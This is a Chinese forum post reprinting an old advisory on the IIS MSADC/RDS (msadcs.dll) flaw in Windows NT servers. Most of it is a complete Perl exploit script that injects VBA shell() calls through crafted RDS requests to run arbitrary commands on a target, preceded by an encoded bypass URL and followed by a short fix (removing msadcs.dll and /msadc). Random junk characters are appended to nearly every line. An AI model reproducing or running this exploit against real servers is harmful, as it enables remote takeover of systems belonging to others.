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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) +}XFkH~  
sd@JQ%O  
涉及程序: ^`W8>czi  
Microsoft NT server 5$v,%~$Xds  
=Me94w>G3X  
描述: 8y<NT"  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0>  
nX@lR~g%F  
详细: KRY%B[k  
如果你没有时间读详细内容的话,就删除: h83;}>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll DrG9Kky{  
有关的安全问题就没有了。 Rmq8lU  
X&B2&e;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,?OV39h  
k/"^W.B aj  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ft7{P.g  
关于利用ODBC远程漏洞的描述,请参看: sXD.*D  
-QUr|:SK:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,qx;kJJ  
B,@<60u  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (8[etm  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;*3OkNxa3  
?0v(_ v  
这里不再论述。 Ez3>}E,  
L(p{>Ykcc  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: hdi/k!9[\  
;1S~'B&1Q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Mr5E\~K>s  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! EJdl%j  
`^rN"\  
(<= &#e?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X3C"A|HE9  
XHX\+&6  
#!perl 2D5S%27,  
# 9WXJz;  
# MSADC/RDS 'usage' (aka exploit) script 5h"moh9tG  
# : ryE`EhB  
# by rain.forest.puppy -Y*"!8  
# iIOA54!o  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me UStNUNCq  
# beta test and find errors! $6W o$c%  
o%!8t_1mR  
use Socket; use Getopt::Std; 6ty>0  
getopts("e:vd:h:XR", \%args); Jj<UtD+  
oKl^Ttr  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; TRQ@=.  
MwoU>+XB  
if (!defined $args{h} && !defined $args{R}) { ;.=ZwM]C  
print qq~ O!0YlIvWv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } r<Il;?S6  
-h <host> = host you want to scan (ip or domain) &P+7Um(  
-d <seconds> = delay between calls, default 1 second E%R^ kqqr  
-X = dump Index Server path table, if available y"|QY!fK  
-v = verbose z9@Tg= #i  
-e = external dictionary file for step 5 .qjVw?E  
s 0}OsHAj  
Or a -R will resume a command session yPgDb[V+  
- P;_j,~U  
~; exit;} -&PiD  
*z2G(Uac  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; h0YIPB  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} bB|UQaCl  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} c:  /Wk  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); `+IB;G1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 0JQ0lzk1  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } k{*IR  
2v ^bd^]u:  
if (!defined $args{R}){ $ret = &has_msadc; '#~$Od4&=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}  E*[dc  
8PQn=k9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ~m ,xG  
. "cmd /c "; zp"Lp>i  
$in=<STDIN>; chomp $in; A]fN~PR  
$command="cmd /c " . $in ; }gk37_}X\I  
l 8I`%bu  
if (defined $args{R}) {&load; exit;} d$>TC(E=t  
<kQ 5sG  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; rJ LlDKP-(  
&try_btcustmr; w"s;R8  
mv7><C  
print "\nStep 2: Trying to make our own DSN..."; 8 |>$M  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q[6tvPfkX  
H%,jB<-.A  
print "\nStep 3: Trying known DSNs..."; P\;L#2n  
&known_dsn; |}~2=r z  
7H$0NMP  
print "\nStep 4: Trying known .mdbs..."; AXUSU(hU  
&known_mdb; K[tQ>C@s2  
W|IMnK-  
if (defined $args{e}){ hdL/zW7]  
print "\nStep 5: Trying dictionary of DSN names..."; vwVK ^B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } & PHejG_#  
/az}<r8  
print "Sorry Charley...maybe next time?\n"; ]*I:N  
exit; Z`5jX;Z!  
#;9I3,@/Y  
############################################################################## Z(fXN$  
^[K3]*!@  
sub sendraw { # ripped and modded from whisker bRSE"B  
sleep($delay); # it's a DoS on the server! At least on mine... <eU1E }BDQ  
my ($pstr)=@_; \Tf$i(0q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .\r=1HZ3  
die("Socket problems\n"); 9FB[`}  
if(connect(S,pack "SnA4x8",2,80,$target)){ gB4&pPN  
select(S); $|=1; z/IA @  
print $pstr; my @in=<S>; v-zi ,]W  
select(STDOUT); close(S); -f&16pc1t  
return @in; s@USJ4#  
} else { die("Can't connect...\n"); }} g@IV|C( *0  
 1 &24:&  
############################################################################## n#jBqr&!M  
Tr}z&efY  
sub make_header { # make the HTTP request lHRs3+  
my $msadc=<<EOT d~i WV6Va  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?gknJ:  
User-Agent: ACTIVEDATA ?xftr(  
Host: $ip VrV )qfG  
Content-Length: $clen -^ )0c  
Connection: Keep-Alive K gN=b  
RrFq"  
ADCClientVersion:01.06 F32N e6Y6"  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N_dHPa  
uvN Lm]*  
--!ADM!ROX!YOUR!WORLD! XRZj+muTZ  
Content-Type: application/x-varg 1&zvf4  
Content-Length: $reqlen cT2&nZ  
)gOVnA/M  
EOT ;[-OMGr]#  
; $msadc=~s/\n/\r\n/g; <evvNSE  
return $msadc;} []i/\0C^  
{FYWQ!L  
############################################################################## G`n|fuv  
LAe>XF-5  
sub make_req { # make the RDS request ]} D^?g^  
my ($switch, $p1, $p2)=@_; KpHt(>NR  
my $req=""; my $t1, $t2, $query, $dsn; p~Tp=d)/  
= NHE_ 4/p  
if ($switch==1){ # this is the btcustmr.mdb query rF9|xgFK  
$query="Select * from Customers where City=" . make_shell(); C5}c?=#bdf  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6`K R  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ,2t|(V*"&  
Ban@$uf  
elsif ($switch==2){ # this is general make table query yyp0GV.x  
$query="create table AZZ (B int, C varchar(10))"; ?vmu,y  
$dsn="$p1";} SM57bN  
}ufzlHD  
elsif ($switch==3){ # this is general exploit table query 8Zj=:;  
$query="select * from AZZ where C=" . make_shell(); N>R\,n|I  
$dsn="$p1";} 3.i$lp`t  
5yOIwzr&Uu  
elsif ($switch==4){ # attempt to hork file info from index server eAU0 8gM.  
$query="select path from scope()"; fQW1&lFT  
$dsn="Provider=MSIDXS;";} se|>P=/  
U2v;[>=]  
elsif ($switch==5){ # bad query [HRry2#s  
$query="select"; \a<7DTV  
$dsn="$p1";} ^Rr!YnEN  
 ?cG~M|@  
$t1= make_unicode($query); 2C6o?*RjyY  
$t2= make_unicode($dsn); i-.]onR  
$req = "\x02\x00\x03\x00"; myq@X(K  
$req.= "\x08\x00" . pack ("S1", length($t1)); s9[?{}gd  
$req.= "\x00\x00" . $t1 ; R07]{  
$req.= "\x08\x00" . pack ("S1", length($t2)); <z'Pj7c[  
$req.= "\x00\x00" . $t2 ; Sb2hM~  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; /KU9sIE;  
return $req;} _xKIp>A  
 Mi>!  
############################################################################## ZmLA4<  
gxKL yZO!  
sub make_shell { # this makes the shell() statement :Dt]sE _d  
return "'|shell(\"$command\")|'";} [b2KBww\  
Z\lJE>1  
############################################################################## ,6J{-Iu  
HZINsIm!?  
sub make_unicode { # quick little function to convert to unicode -_*ux!  
my ($in)=@_; my $out; 7 KuUV!\h`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } C VXz>oM  
return $out;} (vR9vOpJ  
r\PO?1  
############################################################################## ZVelKI8>  
c)*,">$#  
sub rdo_success { # checks for RDO return success (this is kludge) ojc m%yd  
my (@in) = @_; my $base=content_start(@in); n-"(lWcp  
if($in[$base]=~/multipart\/mixed/){ Arr(rM  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ?|i C-7{8L  
return 0;} qjBF]3%t%  
?l> <?i  
############################################################################## Vn=K5nm  
?[Sac]h ys  
sub make_dsn { # this makes a DSN for us !_?K(X~/  
my @drives=("c","d","e","f"); 1Yk!R9.  
print "\nMaking DSN: "; {6I)6}w!k  
foreach $drive (@drives) { !:]/MpQ ?  
print "$drive: "; {4F=].!  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . QZh#&Qf;  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" e2"<3  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); z|M+ FHl$  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; q`Rc \aWB%  
return 0 if $2 eq "404"; # not found/doesn't exist .](~dVp%~  
if($2 eq "200") { T1-.+&<  
foreach $line (@results) { \ u*R6z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [ML|, kq!  
} return 0;} kTW[)  
3>T2k }  
############################################################################## A"3"f8P8a  
gmqL,H#  
sub verify_exists { [PIh^ DhK  
my ($page)=@_; 5cF7w  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~D0e \Q(A  
return $results[0];} 5!s7`w]8*0  
1!S*z^LGl  
############################################################################## ;f!}vo<;  
(y^svXU}a  
sub try_btcustmr { SG4)kQ  
my @drives=("c","d","e","f"); ?wi^R:2|j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gcA,u)z}R  
kgb:<{pJ  
foreach $dir (@dirs) { Fv} Uq\v[  
print "$dir -> "; # fun status so you can see progress @$7'{*  
foreach $drive (@drives) { I3.cy i  
print "$drive: "; # ditto #?h-<KQQ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; S'_2o?fs  
$reqlenlen=length( "$reqlen" ); TpGnSD  
$clen= 206 + $reqlenlen + $reqlen; 6/dP)"a('  
WHy r;m3)  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 3j6Am{9  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} u|+Dqe`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #rI4\K  
)p`zN=t  
############################################################################## `C&@6{L  
PL|ea~/  
sub odbc_error { jmBsPSGIC  
my (@in)=@_; my $base; ?APCDZ^  
my $base = content_start(@in); &SW~4{n:  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this pwg\b  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hnnVp_<]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Jm`{MzqL  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $xqX[ocor  
return $in[$base+4].$in[$base+5].$in[$base+6];} Aa`R40yl  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; g QYs,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . / tG[pg{[  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} `yYYyB[  
ROr|n]aJj  
############################################################################## ~f6 Q  
O +u? Y  
sub verbose { O~OM.:al&  
my ($in)=@_; AsfmH-4)  
return if !$verbose; nu `R(2/  
print STDOUT "\n$in\n";} L2Fi/UWM  
(:>Sh0.  
############################################################################## 5h l!zA?  
#|QA_5  
sub save { j a'_syn  
my ($p1, $p2, $p3, $p4)=@_; <u}[_  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; E#~J"9k98  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Ly-}HW(  
close OUT;} _Wtwh0[r*  
PVi0|  
############################################################################## qQwf#&  
Tl L,dPM  
sub load { FL[,?RU?2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; $ vBFs]h  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); tx$`1KA  
@p=<IN>; close(IN); b?j\YX[e  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); P]0/S  
$target= inet_aton($ip) || die("inet_aton problems"); |Sv}/ P-  
print "Resuming to $ip ..."; `hDH7u!U.  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #2dH2k\F  
if($p[1]==1) { (&1 56 5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 6(/*E=bOKV  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ID~}pEQ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); fD*jzj7o ,  
if (rdo_success(@results)){print "Success!\n";} &S=xSs:q.  
else { print "failed\n"; verbose(odbc_error(@results));}} >{{0odBF  
elsif ($p[1]==3){ P>hR${KE  
if(run_query("$p[3]")){ Hy b_> n  
print "Success!\n";} else { print "failed\n"; }} fp?/Dg"49.  
elsif ($p[1]==4){ R9-Uoc/  
if(run_query($drvst . "$p[3]")){ 9*S9~  
print "Success!\n"; } else { print "failed\n"; }} cDq*B*e  
exit;} IOY<'t+  
*&~(>gNF,  
############################################################################## ,0@QBr5P  
Zg3 /,:1  
sub create_table {  ^+wA,r.  
my ($in)=@_; {ceY:49  
$reqlen=length( make_req(2,$in,"") ) - 28; BU O8 Z]  
$reqlenlen=length( "$reqlen" ); "..I$R  
$clen= 206 + $reqlenlen + $reqlen; TR9dpt+T  
my @results=sendraw(make_header() . make_req(2,$in,"")); {Fvl7Sh  
return 1 if rdo_success(@results); !>:]k?$b  
my $temp= odbc_error(@results); verbose($temp); g*;z V i  
return 1 if $temp=~/Table 'AZZ' already exists/; q4SEvP}fLx  
return 0;} m#^;V  
m>f8RBp]'  
############################################################################## :pLaxWus!  
EGzlRSgO  
sub known_dsn { fLZ99?J  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go n^Q-K}!T/  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >J_(~{-sNG  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1cS*T>`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [$@EQ]tt/  
_Mi*Fvj  
foreach $dSn (@dsns) { > .K  
print "."; lv#L+}T  
next if (!is_access("DSN=$dSn")); )  D5JA`  
if(create_table("DSN=$dSn")){ 3b/J  
print "$dSn successful\n"; SNC)cq+{  
if(run_query("DSN=$dSn")){ :)F0~Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { '>GPk5Nq77  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Q[9W{l+  
),lE8A{ H  
############################################################################## A&{eC C  
x$z>.4  
sub is_access { EKUiX#p: M  
my ($in)=@_; /H$:Q|T}  
$reqlen=length( make_req(5,$in,"") ) - 28; A&V'WahC@I  
$reqlenlen=length( "$reqlen" ); P}w0=  
$clen= 206 + $reqlenlen + $reqlen; |<JBoE]3B  
my @results=sendraw(make_header() . make_req(5,$in,"")); MaZVGrcC  
my $temp= odbc_error(@results); hVNT  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  Q!(qb  
return 0;} IeAi'  
Nv=&gOy=  
############################################################################## 7w}]9wCN?  
W^i[7 r  
sub run_query { jEm =A8q  
my ($in)=@_; juQ?k xOB  
$reqlen=length( make_req(3,$in,"") ) - 28; yJdkDVxYr  
$reqlenlen=length( "$reqlen" ); h*?]A  
$clen= 206 + $reqlenlen + $reqlen; >$7{H]  
my @results=sendraw(make_header() . make_req(3,$in,"")); ,WE2MAjhT  
return 1 if rdo_success(@results); 4veXg/l  
my $temp= odbc_error(@results); verbose($temp); L0*f(H  
return 0;} C_&ZQlgQ  
2BO"mc<#$  
############################################################################## 7 b{y  
XdE|7=+s  
sub known_mdb { \CBL[X5tr  
my @drives=("c","d","e","f","g"); S<g~VK!Tt  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t\O#5mo  
my $dir, $drive, $mdb; g6@^n$Y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *t`=1Ioj  
k/i&e~! \  
# this is sparse, because I don't know of many Ej<`HbJ 'Q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .SDE6nvbW  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", MC1&X'  
"\\system32\\certmdb.mdb", >gDKkeLD  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% j2oU1' b  
(Ft#6oK"  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", U%)*I~9  
"\\cfusion\\cfapps\\forums\\forums_.mdb", [j?<&^SW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", lt%9Zgr[u  
"\\cfusion\\cfapps\\security\\realm_.mdb", ])#?rRw  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", s6!! ty;Y  
"\\cfusion\\database\\cfexamples.mdb", fr&K^je\  
"\\cfusion\\database\\cfsnippets.mdb", {5 (M   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", vofBS   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", :H/Rhx=  
"\\cfusion\\brighttiger\\database\\cleam.mdb", $PMD$c  
"\\cfusion\\database\\smpolicy.mdb", REPI >-|  
"\\cfusion\\database\cypress.mdb", =<Ss&p>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Y ^5RM  
"\\website\\cgi-win\\dbsample.mdb", 8 -9<r  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", / }(\P@Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w}U'>fj  
); #these are just cRSgP{hy  
foreach $drive (@drives) { a[J_H$6H!  
foreach $dir (@dirs){ <FwAV=}6p  
foreach $mdb (@sysmdbs) { 4+Y9":<  
print "."; SKo*8r   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  5s<.qDc  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; N~DO_^  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ C\* 0621  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; OKnpG*)u=g  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 2 ;Q|h$ n  
Hi&bNM>?O  
foreach $drive (@drives) { 54Vb[;`Kkb  
foreach $mdb (@mdbs) { n66b(6"mO2  
print "."; UW&K\P  
if(create_table($drv . $drive . $dir . $mdb)){ Mr@{3do$  
print "\n" . $drive . $dir . $mdb . " successful\n"; c LfPSA  
if(run_query($drv . $drive . $dir . $mdb)){ E0eZal],  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Dk}txw}#  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5KW n>n  
} c@$W]o"A  
L"}2Y3  
############################################################################## \cQ+9e)  
bLO^5`6  
sub hork_idx { 3A3WD+[L  
print "\nAttempting to dump Index Server tables...\n"; 2,p= %  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; .8XkB<[wb  
$reqlen=length( make_req(4,"","") ) - 28; P UC:Pl77  
$reqlenlen=length( "$reqlen" ); ;W3c|5CE  
$clen= 206 + $reqlenlen + $reqlen; u+ 8wBb5!  
my @results=sendraw2(make_header() . make_req(4,"","")); 5yf`3vV|3@  
if (rdo_success(@results)){ b7HT<$Wg  
my $max=@results; my $c; my %d; UZo[]$"Q`  
for($c=19; $c<$max; $c++){ 8< z   
$results[$c]=~s/\x00//g; \j0016;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; nr%P11U\c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; tY60~@YO&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; aL/7xa  
$d{"$1$2"}="";} 6G:7r [  
foreach $c (keys %d){ print "$c\n"; } ;JX2ebx  
} else {print "Index server doesn't seem to be installed.\n"; }} P?zL`czWd  
hYVy65Ea  
############################################################################## 1r<'&f5  
6\m'MV`R!  
sub dsn_dict { &zHY0fxX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %Z yt;p2  
while(<IN>){ jtPHk*>^wu  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; q^b12@.  
next if (!is_access("DSN=$dSn")); vZIx>  
if(create_table("DSN=$dSn")){ :~~\{fm  
print "$dSn successful\n"; =9A!5  
if(run_query("DSN=$dSn")){ 4qyPjAG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { GX N:=  
print "Something's borked. Use verbose next time\n";}}} $~r=I[5'(  
print "\n"; close(IN);} 6}:(m#+  
q ;e/gP2  
############################################################################## @Dd3mWKq  
1+Bj` ACP  
sub sendraw2 { # ripped and modded from whisker YGZa##i  
sleep($delay); # it's a DoS on the server! At least on mine... !uhh_3RH  
my ($pstr)=@_; +`TwBN,kp-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p9eTrFDy?  
die("Socket problems\n"); nu6v@<<F>  
if(connect(S,pack "SnA4x8",2,80,$target)){ [-1Yyy1}  
print "Connected. Getting data"; ]F4|@+\9  
open(OUT,">raw.out"); my @in; Y~U WUF%aK  
select(S); $|=1; print $pstr; nW]T-!  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?d)FYB  
close(OUT); select(STDOUT); close(S); return @in; a'7RzN ,]  
} else { die("Can't connect...\n"); }} rM20Y(|  
}5y ]kn  
############################################################################## =l%|W[OO  
D/tFN+|P  
sub content_start { # this will take in the server headers r,ep{ p  
my (@in)=@_; my $c; bJL,pe+u  
for ($c=1;$c<500;$c++) { /%P,y+<}iG  
if($in[$c] =~/^\x0d\x0a/){ ,772$7x  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } "=UhTE  
else { return $c+1; }}} |w.5*]?H  
return -1;} # it should never get here actually +\Je B/F  
j`-9.  
############################################################################## 67wq8|  
`W%R  
sub funky { B{NGrC`5)  
my (@in)=@_; my $error=odbc_error(@in); 78E<_UgcB  
if($error=~/ADO could not find the specified provider/){ }nWW`:t kx  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?8$h%Ov-  
exit;} @eRv`O"  
if($error=~/A Handler is required/){ |@dY[VK>  
print "\nServer has custom handler filters (they most likely are patched)\n"; (E \lLlN  
exit;} S~{ }j vc  
if($error=~/specified Handler has denied Access/){ /?:q9Wy  
print "\nServer has custom handler filters (they most likely are patched)\n"; sB<y(}u  
exit;}} 2bTM0-  
3NrWt2?  
############################################################################## i",oPz7  
( Uk\O`)m  
sub has_msadc { zmU>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vVH*\&H\T  
my $base=content_start(@results); 7@ mP;K0  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); rv %^2h<&  
return 0;} ]dnB ,  
I(+%`{Wv  
######################## 3E;<aCG?  
%F]:nk`  
7niI65  
解决方案:  -to3I  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^j7]> I  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 tnC,1HV0[  
# |,c3$  
拿出来充数 哈哈
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